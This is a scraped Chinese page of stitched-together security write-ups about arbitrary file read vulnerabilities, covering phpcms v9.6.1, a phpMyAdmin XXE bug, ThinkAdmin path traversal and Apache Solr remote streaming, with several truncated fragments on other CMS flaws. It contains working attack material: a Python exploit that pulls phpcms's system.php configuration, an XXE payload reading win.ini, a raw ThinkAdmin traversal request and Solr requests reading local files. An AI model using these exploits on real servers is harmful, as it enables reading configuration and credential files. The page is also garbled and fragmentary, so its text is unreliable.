精华内容
下载资源
问答
  • phpcms v9.6.1 爆出的任意文件读取漏洞, 来一起分析以下,这次漏洞可以说和9.6.0爆出来的sqli注入漏洞有一些联系,漏洞文件和漏洞利用方法都是一样的,只是这次漏洞点在down.php的download函数我们定位到漏洞函数/...

    phpcms v9.6.1 爆出的任意文件读取漏洞, 来一起分析以下,这次漏洞可以说和9.6.0爆出来的sqli注入漏洞有一些联系,漏洞文件和漏洞利用方法都是一样的,只是这次漏洞点在down.php的download函数

    我们定位到漏洞函数/phpcms/modules/content/down.php Line 103-127

    public function download() {

    $a_k = trim($_GET['a_k']);

    $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');

    $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);

    if(empty($a_k)) showmessage(L('illegal_parameters'));

    unset($i,$m,$f,$t,$ip);

    $a_k = safe_replace($a_k);

    parse_str($a_k);

    if(isset($i)) $downid = intval($i);

    if(!isset($m)) showmessage(L('illegal_parameters'));

    if(!isset($modelid)) showmessage(L('illegal_parameters'));

    if(empty($f)) showmessage(L('url_invalid'));

    if(!$i || $m<0) showmessage(L('illegal_parameters'));

    if(!isset($t)) showmessage(L('illegal_parameters'));

    if(!isset($ip)) showmessage(L('illegal_parameters'));

    $starttime = intval($t);

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

    $fileurl = trim($f);

    if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));

    $endtime = SYS_TIME - $starttime;

    if($endtime > 3600) showmessage(L('url_invalid'));

    if($m) $fileurl = trim($s).trim($fileurl);

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));

    //远程文件

    if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {

    header("Location: $fileurl");

    } else {

    if($d == 0) {

    header("Location: ".$fileurl);

    } else {

    $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);

    $filename = basename($fileurl);

    //处理中文文件

    if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {

    $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));

    $filename = urldecode(basename($filename));

    }

    $ext = fileext($filename);

    $filename = date('Ymd_his').random(3).'.'.$ext;

    $fileurl = str_replace(array(''), '',$fileurl);

    file_down($fileurl, $filename);

    }

    }

    }

    这个函数开始几行代码的作用和init函数中的几乎一样,都是从parse_str 解析传入的a_k参数,但这里调用了safe_replace函数过滤。

    和文件名有关的参数是$s,$f。 这两个参数都是通过parse_str解析变量得到,然后程序对$f参数过滤,过滤规则如下:

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

    $fileurl = trim($f);

    过滤了一些黑名单,空格以及目录跳跃,之后把$s和$f作为下载文件路径:

    if($m) $fileurl = trim($s).trim($fileurl);

    再把拼接后的文件名过滤一次,程序继续运行,来到最关键的一步:

    $fileurl = str_replace(array(''), '',$fileurl);

    file_down($fileurl, $filename);

    file_down函数是文件下载函数,调用readfile读取文件,在进入这个函数之前还用了一个str_replace 函数去除了大小括号,这就为我们绕过提供了思路,我们只需要构造 php< 或 php> 这样的后缀,就可以绕过正则, 之后被str_replace去掉了括号,就可以下载被过滤的文件后缀了。

    a_k 的构造还是通过之前phpcms v9.6.0 sqli 那个构造cookie, 具体流程如下:

    6c3db9acb5d8

    image.png

    payload 如下:

    &i=1&m=1&d=1&modelid=2&catid=6&s=./phpcms/modules/content/down.ph&f=p%3%252%2*70C

    放入src参数中,解后的$s=./phpcms/modules/content/down.ph, $f=p%3%252%2*70C

    $f 的取值为p%3%252%2*70C --safe_replace-> p%3%252%270C --safe_replace--> p%3%2520C --parse_str--> p%3%20C --safe_replace-->p%3C --parse_str--> p< --str_replace-->p

    最后和$s拼接就拼接出来了php,绕过了正则了, 过程也是比较复杂, 但payload构造骚,值得学习。

    补丁分析

    phpcms v9.6.3 修复了该漏洞, 就是在用str_replace函数去掉括号后再用正则过滤了一次。

    6c3db9acb5d8

    image.png

    写了一个读取system.php配置文件的exp:

    #!/usr/bin/env python

    # -*- coding: utf-8 -*-

    """

    phpcmsv9.6.0 sqli verify and attach poc

    """

    import requests

    import re

    from urllib import quote

    TIMEOUT = 3

    def geta_k(url,payload):

    url = url if '://' in url else 'http://' + url

    url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php')

    cookies = {}

    #print 'step1'

    step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)

    #print 'step1',step1

    for c in requests.get(step1,timeout=TIMEOUT).cookies:

    if c.name[-7:] == '_siteid':

    cookie_head = c.name[:6]

    cookies[cookie_head + '_userid'] = c.value

    cookies[c.name] = c.value

    break

    else:

    return False

    step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))

    #print 'step2:',step2,cookies

    for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:

    if c.name[-9:] == '_att_json':

    enc_payload = c.value

    return enc_payload

    break

    else:

    return False

    def download(url):

    url = url if '://' in url else 'http://' + url

    url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php')

    # 以获取system.php配置文件为例,其他文件可以自行修改链接即可,只能下载cms的php文件

    payload = "&i=1&m=1&d=1&modelid=2&catid=6&s=caches/configs/system.ph&f=p%3%252%2*70C"

    a_k = geta_k(url,payload)

    url3 = url+"/index.php?m=content&c=down&siteid=1&a=init&a_k="+a_k

    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}

    html = requests.get(url3,headers=headers)

    res = re.findall(r'',html.content)

    if res[0]:

    downfile = res[0]

    else:

    return False

    url4 = url+'/index.php'+downfile

    rep = requests.get(url4,headers=headers)

    print rep.content

    if __name__ == '__main__':

    download('http://localhost/')

    展开全文
  • PhpMyadmin实现中错误的使用了simplexml_load_string函数用于xml解析,但是该函数中默认并没有处理好外部实体的安全性,导致用户可以借助xml文件读取和访问应用有权限访问的系统和网络资源 详细说明: libraries/...

    漏洞详情

    简要描述:

    PhpMyadmin实现中错误的使用了simplexml_load_string函数用于xml解析,但是该函数中默认并没有处理好外部实体的安全性,导致用户可以借助xml文件读取和访问应用有权限访问的系统和网络资源

    详细说明:

    libraries/import/xml.php中

    unset($data);



    /**

    * Load the XML string

    *

    * The option LIBXML_COMPACT is specified because it can

    * result in increased performance without the need to

    * alter the code in any way. It's basically a freebee.

    */

    $xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);

    unset($buffer);



    /**

    * The XML was malformed

    */

    if ($xml === FALSE) {

    可以使用系统中的import功能导入一个精心构造的xml文件

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE wooyun [

    <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">

    ]>

    <!--

    - phpMyAdmin XML Dump

    - version 3.4.4

    - http://www.phpmyadmin.net

    -

    - 主机: localhost

    - 生成日期: 2011 年 11 月 01 日 14:56

    - 服务器版本: 5.1.28

    - PHP 版本: 5.2.6

    -->



    <pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/">

    <!--

    - Structure schemas

    -->

    <pma:structure_schemas>

    <pma:database name="test" collation="utf8_general_ci" charset="utf8">

    <pma:table name="ts_ad">

    &hi80sec;

    </pma:table>

    </pma:database>

    </pma:structure_schemas>



    <!--

    - 数据库: 'thinksns'

    -->

    <database name="thinksns">

    <!-- 表 ts_ad -->

    </database>

    </pma_xml_export>

    来读写文件,系统错误信息会直接显示出文件内容

    漏洞证明:



    转载于:https://www.cnblogs.com/mujj/articles/2237936.html

    展开全文
  • 攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件漏洞复现 fofa搜索语句 app="ThinkAdmin" POC POST /admin/login.html/?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1 Content-Length: ...

    简述

    ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统

    漏洞描述

    ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,没有任何过滤。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件。

    漏洞复现

    fofa搜索语句 app="ThinkAdmin"
    POC

    POST /admin/login.html/?s=admin/api.Update/node HTTP/1.1
    Host: 127.0.0.1
    Content-Length: 21
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://139.159.192.181
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://139.159.192.181/admin/login.html/?s=admin/api.Update/node
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: PHPSESSID=f54b3a7d1d63edc5a264133ef6865e95
    Connection: close
    
    rules=%5B%22%2F%22%5D
    

    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • Apache Solr简介 Solr是一个独立的企业级搜索应用服务器,它...API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的

    Apache Solr简介
    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
    PS:XML是一个文本文件,类似于HTML是一种标记语言。
    API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。
    通俗说就是把软件里需要的功能打包好,写成一个函数,再次调用使用时就不用从头看一遍软件的源码和功能实现过程。
    Apache Solr 任意文件读取漏洞说明
    Apache-Solr任意文件读取漏洞漏洞,影响范围(Apache Solr version<= 8.8.1)攻击者可以在未授权的情况下读取目标服务器敏感文件和相关内容。

    准备工作

    Apache Solr <= 8.8.1
    Java环境(Burpsuite和solr start)
    Burpsuite

    搭建环境:
    http://archive.apache.org/dist/lucene/solr/8.8.0/
    下载这个
    在这里插入图片描述
    然后解压到自定义目录中
    在这里插入图片描述
    大概是这个样子

    Apache Solr环境启动

    win10系统中
    在bin目录下shift+右键 打开PowerShell窗口
    在命令框中输入./solr start启动Apache服务

    在这里插入图片描述
    图示则启动成功

    复现过程

    本机环境下复现、首先要创建一个core
    http://localhost:8983/solr/
    在这里插入图片描述
    创建任意命名的core,会产生报错,由于缺少配置文件。
    前往目录solr-8.8.0\server\solr\configsets_default\conf,将该文件夹下的所有配置文件复制到要创建的core目录中

    在这里插入图片描述

    再次创建core,成功。

    运行Burpsuite,开始抓包(共三个)

    访问
    http://localhost:8983/solr/admin/cores
    这个目录下存储着solr的所有core的基本信息

    将抓到的包发送到repeater->go
    在这里插入图片描述

    获得core的名字

    得到core的名字就可以访问core的配置文件
    配置文件在 http://localhost:8983/solr/429(core的名字)/config中

    在这里插入图片描述
    需将头部的GET改为POST
    之后在抓到的包下写入
    {“set-property”:{“requestDispatcher.requestParsers.enableRemoteStreaming”:true}}
    启用远程流

    最后
    http://localhost:8983/solr/429(core名)/debug/dump
    ps:切记以POST方式访问,得到content-type的回显,才能返回stream流
    stream.url=file:///C://windows//win.ini
    右键可以转换访问方式
    在这里插入图片描述

    在这里插入图片描述

    访问到win.ini中的敏感信息

    修复建议

    1.开启身份验证/授权
    2. 配置防火墙策略,确保Solr API(包括Admin UI)只有受信任的 IP和用户才能访问
    3.禁止将Apache Solr放置在外网

    展开全文
  • readfile函数(xx) 控制xx里面的内容就可以实现任意读取
  • 任意文件读取漏洞及危害 通过提交专门设计的输入,攻击者就可以在被访问的文件系统中读取或写入任意内容,往往能够使攻击者从服务器上获取敏感信息文件,正常读取的文件没有经过校验或者不严格,用户可以控制这个...
  • 我的第一个CNVD编号:CNVD-2020-10212 实验环境:win7 专业版 梦想cms v1.4 ...发现$dir直接通过GET方式进行获取,没有进行过滤,且直接拼接进文件内容请求链接。 漏洞链接为: xxx.com/admin.php?m=Template&a=ed
  • 感谢lijiejie(李姐姐)投递近来我和同事观察到wooyun平台上较多地出现了刷“任意文件读取漏洞”。类似:攻击者通过请求http://220.181.185.228/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1...
  • 浅谈 XXE 漏洞任意文件读取 文章目录浅谈 XXE 漏洞任意文件读取0x00 前言0x01 XML 基础知识1.什么是XML2.XML 语法2.1 语法规则2.2 XML 结构2.3 XML DTD(文档类型定义)3.XML 注入时的两大要素0x02 XXE 漏洞攻击1....
  • 任意文件下载漏洞

    2020-09-22 23:12:56
    INF0x04 漏洞绕过0x05 漏洞利用常见利用文件路径WindowsLinux0x06 漏洞判断0x07 漏洞验证0x08 漏洞防护通用文件下载漏洞修复0x09 文件路径汇总任意文件读取漏洞漏洞产生原因任意文件读取文件读取函数漏洞验证任意...
  • 任意文件读取

    千次阅读 2018-01-12 15:59:05
    任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取的配置信息甚至系统重要文件。严重的话,就可能导致SSRF,进而漫游至内网。步骤1:代码审计,分析原理我们已经知道,用户的头像显示,是使用...
  • 文件读取漏洞路径收集

    千次阅读 2017-12-15 10:19:49
    代码在做渗透测试当中会在某些情况可以读取系统文件,例如MySQL注入当中利用load_file函数读取系统文件,或者服务器配置不当参考:新型任意文件读取漏洞的研究 这里收集一下服务器通常存在的文件,可以通过读取相关...
  • 前言本文在复现 DIR-805L 任意文件读取漏洞时,将会比较详细的分析一下用于 cgi 处理的 phpcgi_main 函数其中的一些功能。在逆向 cgibin 二进制文件时,常常会遇到一些用于解析 http 请求的函数,在分析时经常对这些...
  • 前台大略看了下,本身内容比较简单,经过...在DataAction.class.php文件中,获取了$_GET['id']并直接用于路径拼凑,最后到达readfile函数中,导致了任意文件读取漏洞。 访问localhost/feifeicms/index.php?s=A...
  • 文章目录资料下载任意文件下载漏洞描述利用条件漏洞危害漏洞发现链接上参数上案例漏洞利用利用原理windows路径linux路径修复建议摘抄 资料下载 点击 下载 https://download.csdn.net/download/qq_41901122/18467497 ...
  • 一、任意文件读取漏洞的修复 漏洞出现的原因:files这个变量没有经过滤,直接拼接代入SQL语句 有些人会过滤这样一个函数 但上面的这个是不行的,会导致出现一些错误,演示过滤前后的变化 过滤之前: 过滤之后 ...
  • 前言本文在复现 DIR-805L 任意文件读取漏洞时,将会比较详细的分析一下用于 cgi 处理的 phpcgi_main 函数其中的一些功能。在逆向 cgibin 二进制文件时,常常会遇到一些用于解析 http 请求的函数,在分析时经常对这些...
  • 下载服务器任意文件,如脚本代码、服务及系统配置文件等,进一步利用获取的信息进行更大的危害。 可用得到的代码进一步代码审计,得到更多可利用漏洞 实验环境:webug靶场 主页 BP抓包 我们把url的路径改为,发送...
  • 本文在复现 DIR-805L 任意文件读取漏洞时,将会比较详细的分析一下用于 cgi 处理的 phpcgi_main 函数其中的一些功能。在逆向 cgibin 二进制文件时,常常会遇到一些用于解析 http 请求的函数,在分析时经常对...
  • 风炫安全web安全学习第三十五节课 文件下载和文件读取漏洞 0x03 任意文件下载漏洞 一些网站由于业务需求,往往需要提供文件下载功能,但若对用户下载的文件不做限制,则恶意用户就能够下载任意敏感文件,这就是文件...
  • 7 任意文件读取与下载 7.1 概念 对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可能是源代码文件、敏感文件等。 7.2 产生原因与危害 产生原因 ·存读取文件的函数 ·读取文件的路径用户可...
  • 代码审计-phpcms9任意文件读取 漏洞文件: /phpcms/modules/content/down.phpdownload函数 这个函数开始几行代码的作用和init函数中的几乎一样,都是从parse_str 解析传入的a_k参数,但这里调用了safe_replace...
  • 任意文件查看与下载漏洞漏洞介绍 一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件 不做限制,则恶意用户...任意文件读取 代码形式可如下几种: <?php $filename = "test.t
  • 任意文件查看与下载漏洞 漏洞介绍 一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件 不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞 ...
  • 漏洞介绍 一些网站由于业务需求,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,则恶意...下载服务器任意文件,如脚本代码,服务及系统配置文件等可用得到的代码进一步代码审计,得到更...
  • 文件包含漏洞

    2020-12-24 17:27:39
    url_include选项的时候,通过php某些特性函数、如include()、include_once()、require()、require_once(),使用url动态的去包含文件,此时如果对包含的文件没有进行过滤,就可能导致任意文件读取和任意命令执行。...

空空如也

空空如也

1 2 3 4 5 6
收藏数 118
精华内容 47
关键字:

任意文件读取漏洞函数